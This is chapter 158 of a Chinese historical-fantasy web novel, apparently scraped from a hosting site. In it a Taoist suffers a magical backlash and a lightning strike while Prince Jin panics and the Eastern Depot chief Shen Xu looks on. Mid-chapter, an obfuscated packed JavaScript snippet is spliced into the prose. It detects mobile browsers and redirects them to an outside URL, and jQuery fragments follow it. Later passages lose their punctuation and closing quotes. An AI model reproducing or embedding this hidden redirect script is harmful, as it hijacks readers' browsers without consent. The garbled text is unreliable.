第158章

雷声轰鸣。


如今刚未时,但天色已经像是到了酉时,暗沉沉的。


长风趴伏在地上,恐慌如潮水一样向他涌来,几乎要把他吞噬了。


“不会的……”


他从尖叫变成了喃喃自语,口唇不住颤抖。


为什么会这样。


是哪里出了变故。


长风的脑子乱哄哄的,他大口大口喘着粗气,满头白发垂落。


他挣扎着想要爬起来,下一刻,他的动作一顿,瞳孔收缩。


他不敢置信地瞪大了双眼,他手背的皮肤不知何时出现了一丝龟裂,皱巴巴的,失去了弹性,有如一个垂暮的老人。


“啊啊啊。”


他怕了,他怕极了。


这一切都是真的!


反噬真的来了。


长风在地上连滚带爬,破碎的道袍上头,又是血又是泥,满头白发毛毛躁躁的团作一团,狼狈不堪。


“真人!”


晋王回过了神,连忙问儿子道:“云儿,这是怎么回事?是东厂干的?”


这么短的时间里,把人折磨成了这样?晋王惊疑不定。


他下意识地去看坐在那里的沈旭。


沈旭嗤笑一声,漫不经心地掸了掸衣袖,剧烈搅痛的心口让他几乎说不出话来,后背冷汗淋漓,但面上除了略显苍白没有任何变化。


“沈督主真是好手段,逞威风逞到我王府……”


“王爷。”


晋王妃后怕地喊住了他,解释道:“刚刚打过雷后,就、就开始了……”她语带颤意,“他、他、真人的头发突然就变白了,脸、脸也是。”


她亲眼目睹了这一切的发生。


王爷到底是招惹了什么妖道?


王妃本来还指着长风救儿子,眼看着他连自己都救不了,也顾不上别的了。


东厂是来抓妖道的,王爷别再为了这个妖道惹了东厂!


“脸?”


王妃这么一说,晋王连忙扭头去看,长风也正好抬起头来。


这一看,晋王吓得连退了几步。


长风四十余岁的年纪,从前瞧着不过三十出头,晋王都比他显老,而现在,他脸上出现了一条条深深的皱纹,皮肤干涸,脸颊垂下,须发皆白,说是七八十岁都有人信。


长风眼神惶惶,他趴坐在地上,他看着晋王,仿佛落水之人看到了漂浮在水面上的一根树枝。


晋王:“!”


晋王咽了咽口水,抢


步过去。


周围的番子用眼神请示了一下乌伤,见他没有说话,便退开了半步。


晋王把他扶了起来,情真意切道:“真人,本王这就给你请大夫……


“大夫无用,这是反噬……长风动了动嘴,艰难地吐出了这几个字,在歇斯底里的大喊过后,长风嗓音沙哑粗嘎的如同老翁。


反、反噬?!


晋王的心头一紧,吓得差点没扶住人,一句话都说不全:“是、是……为什么会、会会……


长风也想知道为什么,到底是哪里出了变故。


“咳咳。


长风能够感觉到自己的身体在逐渐衰败。


他修道资质卓绝,是上虚观百年难得的,无论任何术法符箓,他都能一点即通,就连几乎失传的祝音咒,他都无师自通的学会了。他三十岁入世修行,雄心勃勃,想成为大启国师,他深信自己志在必得。


可是,国师云城真人只对他说了一句话:“天命不佑。


呵。


天命不佑?


所以,他用十年前黑水堡城的那场法事,证明了他可以凌驾于天道之上。


天命由他所定!


他不甘心,不甘心付出的半生心力,就此功亏一篑!


“会、会反噬?


晋王终于结结巴巴的把话说完了。


他慌到不行,舔了舔干涸的嘴唇。


反噬。


晋王若是从未见识过反噬,也不至于怕成这样。


偏偏,他亲眼瞧见了儿子的模样,那副人不人鬼不鬼,求生不得求死不能样子,他是真的怕了。这些天,他无数次反悔,当年不应该让儿子来贴那些符,早知道,他就随便找了一个下人来做。后悔归后悔,心痛归心痛,可是,现在发现长风竟然也受了反噬,这种心痛变成了恐慌。


下一个,不会轮到自己?


“为什么?


十年前明明顺顺利利的啊。


长风又咳了几下,费力地说道:“殷家女,死了。


“阵法失败了。


阵法会失败,只有这一种可能。


殷家女?


死了!?


沈旭猛地一把捏住圈椅的扶手,手背爆起了青筋,他手臂的肌肉崩得紧紧的,几乎要把扶手折断。


姐姐她,她、她死了?


这个可怕的念头打乱了沈旭一向的冷静,又或者说,因为世间没有什么能让他在意的,哪怕再疯,杀得再狠,沈旭也从来不会失了这


最后一份的冷静。


沈旭心口搅痛,喉咙里泛起一股血腥气,有如鲜血翻滚,几乎快要喷吐而出。


“督主,殷家姐姐,交给我。


声音在耳畔回荡,那双凤眸明澄,清澈可见底。


沈旭硬生生地压住了口中血腥,他慢慢放开圈椅的扶手,转而捏住了小玉牌,玉牌冰冷,顺着他的掌心把这股子凉意带入心底。


“去太清观……长风虚弱道,“找、找观主。咳咳。


“好好!


晋王的生死荣辱是和长风绑在一起的。


他绝不可能放弃了长风。


晋王正要叫长史和谢笙一起过来扶长风,沈旭嘴角一勾,有一抹让人胆寒的笑意:“晋王想把人犯带去哪儿?


他的语调慢吞吞的,掩盖着虚弱,和说话时的艰难。


“你这是没把我们东厂放在眼里了。


沈旭单手托着脸颊,整个人懒洋洋的歪着,声音没有什么气力,但一开口,番子们立刻上前围住了晋王和长风。


晋王气极反笑:“沈督主,我晋王府从未招惹过你,你是非要与本王撕破脸了?


“本王忍你这一回,并不表示,本王怕了你东厂!


“谢笙,过来。


谢笙已缩到了角落里,闻言,畏畏缩缩地就出来了,吓得两股战战,好不容易挪到了前头,一个番子一拔刀,他双腿一软,摔在了地上。


沈旭淡声道:“东厂奉旨,捉拿这个假道士,王爷若是阻拦,视为同党,一并处之。


沈旭说完,乌伤把手中的圣旨一抖,在他面前晃了晃。


上头的玉玺印戳晃瞎了他的眼,尤其当看清楚圣旨上的内容,晋王气得手都在发抖。


这么离谱的圣旨,简直就是在故意找茬!


沈旭的声音更慢,他每说一个字,心口就像是有把刀在搅动:“王爷既然来了,就好生待着。没本座的允许,谁也不许走。


晋王怒火中烧,气笑了:“好、好啊,真是威风。


“王爷,您的手。


长随突然一声惊惧的大叫,打断了他的质问。


什么手不手的。晋王不耐烦地瞥了一眼,顿时头皮发麻。


他包着手的帕子是绽青色的,靠近手背的那一面已经被血染红了,摸上去粘粘乎乎的,似乎还有血在往外渗,尽管如此,他竟然一点也不觉得痛。


晋王抖着手解开帕子,手背上的伤口还是和先前一


样只是小小的刮蹭伤指甲盖大小与他曾经在雍州受过箭伤根本不能相提并论。


他对着伤口轻轻按压一下立刻就有血往外涌粘在了他的指腹上。


“反噬”两个字浮现在他的脑海里他的脑门子嗡嗡作响。


不会的!


他安慰自己只是伤口略深了一点流血而已。


什么反噬不反噬的。


“大惊小怪叫什么叫。”晋王冲长史怒目相视仿佛这样能够压住心中的恐慌。


暗沉沉的天空闷雷持续不断。


晋王的心绪更显烦躁他把沾血的帕子随手一丢:“沈旭你好好管着你的司礼监便是多管闲事可没什么好下场。你手上不过是锦衣卫和一群阉人罢了呵你还真以为你能翻天不成。”


他说完便要过去扶长风。


一声声的闷雷在头顶隆隆作响仿佛越来越近。


沈旭一字一顿


声音落下。


轰隆!一声巨雷突然炸开伴随着轰鸣作响的雷声一道白光骤然落下炸眼的光芒让所有人的眼前同时一白双目阵阵发痛就连沈旭也不由略略偏首。


“呀啊啊啊!”


雷声过后是凄烈的惨嚎声。


仿若是在经历世间最可怕的刑狱哀嚎连连。


闪电稍纵即逝与长风近在咫尺的晋王大喊道:“真人你没事……吧。”


嗓音被幽府地狱所吞噬他张大着嘴眼睛瞪大到了不可思议身体僵直了。


闪电劈下的时候乌伤上前半步挡在了沈旭的跟前掌刑千户负责刑狱他在诏狱里看多了剥皮抽筋就连他也不由倒吸一口的冷气。


周围静若寒蝉。


乌伤侧首就夸:“督主英明果然翻天了!”


周围欢天喜地:“督主英明。”


沈旭蓦地坐直。


咦?


他惊觉自己的胸口不痛了。


就连喉间不断涌出的血腥也淡去了他先前已经虚弱到几乎快要坐不住了而现在他渐渐有了一些力气就连呼吸时也没有刀子在胸口乱扎。


这一道惊雷于他好似天降甘露。</p


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088444|163599||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>


但是对于长风来说就是天罚。


闪电劈在了长风的右边身从胳膊一直到右掌烧成了一团焦黑色还冒着一缕缕白烟空气中弥散着一股子浓烈的焦臭味。


既便这样长风竟然还活着!


他惨嚎着。


哀叫着。


他抱着自己焦黑的手臂,在地上不停地打滚,难以形容的剧痛和绝望,在撕扯着灵魂。


痛到极致时,他甚至想过死了算了。


可是,他还活着!


这样的惨叫声,让人听着心里发毛,就连乌伤这种喜怒不形于色的人,也不由多看了几眼,心里琢磨着,有几套刑具可以改改,把人劈成这样,保管肯老实。


沈旭嘴唇轻动,他手指抵在额头,喉间溢出了低低的笑声。


声音低哑,带着愉悦和一种莫名的快意。


“真人,真人,你莫怕,有本王在。


晋王又开始嚷嚷,脚步却在悄悄往后退。


沈旭动了动手指,示意番子们让开。


于是,番子们往两边让出了一条道。


晋王:额?


长风艰难地抬起头,缓慢地向他伸出了那只完好的手,祈求的看着他。


“救、救……


晋王不敢看他被烧焦的半边身,只能把目光移到他的脸上,这一下,他吓得后背汗毛直立。


不过区区片刻,长风的样貌更加苍老。


脸上的皮肤不但干枯,而且,还浮现出了一块块的斑纹,有些像是人年老后的斑纹,但更深更黑。更像是……


尸斑。


晋王当年在军中的时候,也曾经见过到那些一时来不及收敛的尸体,他们在死了几个时辰后,身上就会出现斑纹,而且越来越多,就和现在的长风一模一样。


一模一样!


长风的道袍已经撕裂的七零八落,在没有衣袖遮掩的手臂上,也长满了类似的黑斑,一块一块,大大小小,光是看着就让人头皮发麻,毛骨悚然。


这种只有死人身上才会长的斑纹。


而长风,竟然还活着!他现在到底还是不是活人?


晋王怕了。


“救我……


晋王下意识摇着头,他地往后退着,一步,两步,三步。


长风只是被雷劈了,又不傻,哪怕现在像个活死人一样,他的思维依然清晰。


晋王这样的动作意味着什么,他再清楚不过了。


晋王是要放弃他了。


长风无力地放下了手,自嘲地笑了起来。


若非为了晋王,他何至于冒险从上虚观到京城,他要是没有离开上虚观,又怎会落得如此地步?


“王爷。


他舌头伤了,含糊不清,有如小刀在摩擦着舌间,


他呵呵笑着“您还没听懂吗。阵法失败了……反噬不止是对贫道还有您!”


“呵呵呵。”


长风笑着笑声虚弱中带着癫狂他胸腔不住地起伏连呼出去的气体也带着浓浓的焦味。


“你以为你逃得过吗?”


被看出了心思晋王有些心虚眼神飘忽道:“真人你是什么意思。”


“你也会和我一样生不如死死后永堕地狱魂魄不宁直到灰飞湮灭。呵呵呵你会和贫道一样一模一样。”


晋王想说他一定是在吓自己可眼角的余光还是不自觉地瞥向了自己的手掌。


伤口竟然还在溢血。


“殷家女已死回天乏术。”


“呵呵呵呵。”


长风的胸口震动着发出声声嗡鸣。


“不会的。一定还有办法的是不是。不会的!”


长风只笑。


这样的笑容让晋王感到害怕。


他也会死?


他也会像长风一样。


恐惧弥漫在晋王的心头他双膝一软一屁股摔在地上他想的是应该把殷家女抓回来的抓回来关在暗室让人看管着就不会出现变故。


为什么没有抓一个伎子而已……是了。晋王想起来了当时他确实是想派人去抓的可是东厂不知怎么在搜查伎子盘问登记晋王不想惹人起疑功亏一篑长风也说


晋王的额头冷汗直冒。


他不想死。


“殷家女死了只有贫道还能救您救贫道等于救您自己……王爷呵呵呵您好自为之……”


“督主。”


盛江脚步匆匆地跑了进来和他一块儿的是晴眉。


“主子。”晴眉福身恭敬道“姑娘让奴婢跟您禀一声殷家女大安。”


沈旭的眉眼瞬间柔和。


“不可能!”


长风惊叫“阵法反噬阵眼不可能还活着。绝不可能!”


晴眉冲他哼哼什么可能不可能的。他们姑娘厉害着呢!


岂是他这个妖道能比的。